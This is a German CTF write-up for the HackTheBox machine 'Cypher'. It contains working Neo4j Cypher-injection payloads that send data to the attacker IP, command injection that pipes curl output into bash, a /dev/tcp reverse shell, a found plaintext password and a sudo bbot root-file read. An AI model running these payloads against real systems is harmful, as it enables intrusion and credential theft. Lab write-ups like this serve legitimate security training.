> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-medium/cypher-hackthebox-writeup.md).

# Cypher HackTheBox-Lösungsbericht

{% embed url="<https://app.hackthebox.com/machines/650>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* Reverse Engineering einer Java-.jar-Datei mit JD-GUI
* Schwachstellenanalyse von benutzerdefiniertem Java-Code
* Cypher-Injection in Neo4j
* Remote Code Execution (RCE) durch unbereinigte Eingaben
* Post-Exploitation-Aufzählung und Wiederverwendung von Zugangsdaten
* Privilegieneskalation durch falsch konfigurierte sudo-Berechtigungen
* Sichere Flag-Extraktion und Bereinigungsverfahren
  {% endhint %}

## Aufklärung

**Einrichtung des Arbeitsbereichs:**

Richten Sie den Arbeitsbereich ein, indem Sie drei Ordner erstellen, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="/files/0ac408b992ea3ca5a7782e0b37a71cb3ccdb5f2e" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindung prüfen**

Prüfen Sie die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielsystem sicherzustellen.

<figure><img src="/files/0392133463132996dbb30b232511605a61a942c7" alt="" width="563"><figcaption></figcaption></figure>

**Offene-Ports-Ermittlung mit Nmap:**

Erfassen Sie offene Ports und exportieren Sie die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis:

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.11.57 -oG allPorts
```

<figure><img src="/files/aab263502c0c125e3517068a87d35f84daa9c330" alt=""><figcaption></figcaption></figure>

**Port- und Versionsscan mit Nmap:**

Verwenden Sie Nmap, um die Service-Versionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p22,80 10.10.11.57 -oN targeted
```

<figure><img src="/files/803a7fb49a01a73a9ec42acc1e5814ae1563c578" alt=""><figcaption></figcaption></figure>

Die IP wird dann zu unserem `/etc/hosts` Datei ein:

<figure><img src="/files/4b4f21206f4a801fe21112178790c2186d8e1f2e" alt="" width="563"><figcaption></figcaption></figure>

### Webanalyse - Port 80 (HTTP)

<figure><img src="/files/aa7b395a2eaea8c3dc5b1ad558b064f9208a3872" alt=""><figcaption></figcaption></figure>

**Gobuster** wird verwendet, um Verzeichnisse aufzulisten:

```bash
gobuster dir -u http://cypher.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

<figure><img src="/files/24a3b5a86243cdb987b62de076eb3b2722ea3d6d" alt=""><figcaption></figcaption></figure>

Das `/testing` Verzeichnis enthält eine `.jar` Datei. Wir extrahieren:

<figure><img src="/files/9ff0b0f2e7efe525707b2ba1955d8888c68f194a" alt=""><figcaption></figcaption></figure>

Untersuche die Struktur mit `tree` und öffne das `.jar` durch **JD-GUI**.

```bash
unzip custom-apoc-extension-1.0-SNAPSHOT.jar -d testing
```

<figure><img src="/files/d18d02a29ad72ec50b8cb911121bd4aa71c172d9" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/3f33882017de17d29746ada9e890934570bcf657" alt=""><figcaption></figcaption></figure>

Wir entdecken einen verwundbaren Befehl:

```java
String[] command = { "/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url };
```

<figure><img src="/files/34391296e312a85b8fabae82ad4668f4c8098ecd" alt=""><figcaption></figcaption></figure>

**Schwachstelle**: Die URL wird nicht maskiert, was ein /*/* shell/*/* Injection ermöglicht.

## Neo4j-Cypher-Injection

Ein Login-Formular ist verwundbar. Ein Fehler erscheint, wenn zwischen `'`.

<figure><img src="/files/a19fc8def0943d6681224305717584a42035c23a" alt=""><figcaption></figcaption></figure>

Wir injizieren eine Cypher-Payload, um die Version von Neo4j zu ermitteln:

{% code overflow="wrap" %}

```json
{
  "username": "' OR 1=1 WITH 1 AS a CALL dbms.components() YIELD versions UNWIND versions AS version LOAD CSV FROM 'http://10.10.14.90/?v=' + version AS l RETURN 0 AS _0 //",
  "password": "test"
}
```

{% endcode %}

<figure><img src="/files/c5d91d771771868e8cdbdf0efa08310a406d0eec" alt=""><figcaption></figcaption></figure>

Auf unserem Server erhalten wir die Anfrage:

```bash
python3 -m http.server 80
# --> 5.24.1
```

<figure><img src="/files/efa57baa97950f243bd9b6c5038598885a4c8dc0" alt=""><figcaption></figcaption></figure>

### RCE über Aufruf von `custom.getUrlStatusCode()`

<figure><img src="/files/d73b878e88f64fe298fb0b09ed3ce67f3fd92a96" alt=""><figcaption></figcaption></figure>

Platziere eine Reverse Shell in `index.html`:

```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.80/443 0>&1
```

Platziere eine Reverse Shell in `index.html`:

```bash
nc -nlvp 443
```

Nutze die kombinierte Injection, um dies aufzurufen **custom.getUrlStatusCode**

```bash
{
  "username": "admin' return h.value AS value  UNION CALL custom.getUrlStatusCode(/"127.0.0.1;curl 10.10.14.90/index.html | bash;/") YIELD statusCode AS value  RETURN value ; //",
  "password": "test"
}
```

<figure><img src="/files/798aabe36304b89ced5e2816aae9e63fb8fa12e6" alt=""><figcaption></figcaption></figure>

#### Shell-Verbesserung:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## Pivoting - Benutzer Graphasm

In `/home/graphasm/` gibt es eine `pwn.py` Datei, die ein Passwort enthält

<figure><img src="/files/db7797418851be789f4eb0f6f1910261296eebf1" alt=""><figcaption></figcaption></figure>

* cU4btyib.20xtCMCXkBmerhK

#### Wiederverwendung des Passworts

### Flagge user.txt :)

<figure><img src="/files/4e812aaa80fdca98f6ff49778c9e29ec4cd83116" alt=""><figcaption></figcaption></figure>

## Privilegieneskalation

### Sudo - bbot (Binärdatei)

Prüfung der sudo-Rechte:

```bash
sudo -l 
```

Der Benutzer kann ausführen `/usr/local/bin/bbot` als root.

<figure><img src="/files/cb080c6e80b1021e1e25806c4d019110f5c69627" alt=""><figcaption></figcaption></figure>

Inhalt von `/usr/local/bin/bbot`:

```python
#!/opt/pipx/venvs/bbot/bin/python
# -*- coding: utf-8 -*-
import re
import sys
from bbot.cli import main
if __name__ == '__main__':
    sys.argv[0] = re.sub(r'(-script/.pyw|/.exe)?$', '', sys.argv[0])
    sys.exit(main())
```

<figure><img src="/files/b808bbcb4f1828a420003a125a90ecd2ae4387e4" alt=""><figcaption></figcaption></figure>

### Ausnutzung:

Dieses Skript überträgt einfach Argumente an die Hauptfunktion von `bbot`. Da wir die übergebenen Argumente kontrollieren können, können wir eine Funktion von `bbot` verwenden, um jede Datei abzuspielen — einschließlich derjenigen, die nur für Benutzer zugänglich sind **root**.

Nach dem Konsultieren der Hilfe oder Dokumentation zur Verwendung von `bbot`, identifizierten wir Optionen zur Angabe einer Zieldatei und eines Ausgabeverzeichnisses:

```bash
sudo /usr/local/bin/bbot -t /root/root.txt -o /tmp/root -d
```

**Erklärung:**

* `-t /root/root.txt`: legt die zu verarbeitende Zieldatei fest.
* `-o /tmp/root`: gibt das Ausgabeverzeichnis an (wo die Ergebnisse gespeichert werden).
* `-d`: aktiviert den Debugging-Modus, falls zusätzliche Informationen benötigt werden.

Da das Skript mit den **root** Berechtigungen ausgeführt wird und keine Validierung der ns-Einträge durchgeführt wird, können wir beliebige Dateien abspielen, einschließlich der endgültigen Datei, die die **root-Flag enthält**.

<figure><img src="/files/cdf3f63e37faeea205ad4fc9a0a4cdb3f2ebc278" alt=""><figcaption></figcaption></figure>

<div align="center" data-full-width="false"><figure><img src="/files/c6f776ce24e9ef3f4e3c6e08150884aecdec6e09" alt=""><figcaption></figcaption></figure></div>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-medium/cypher-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
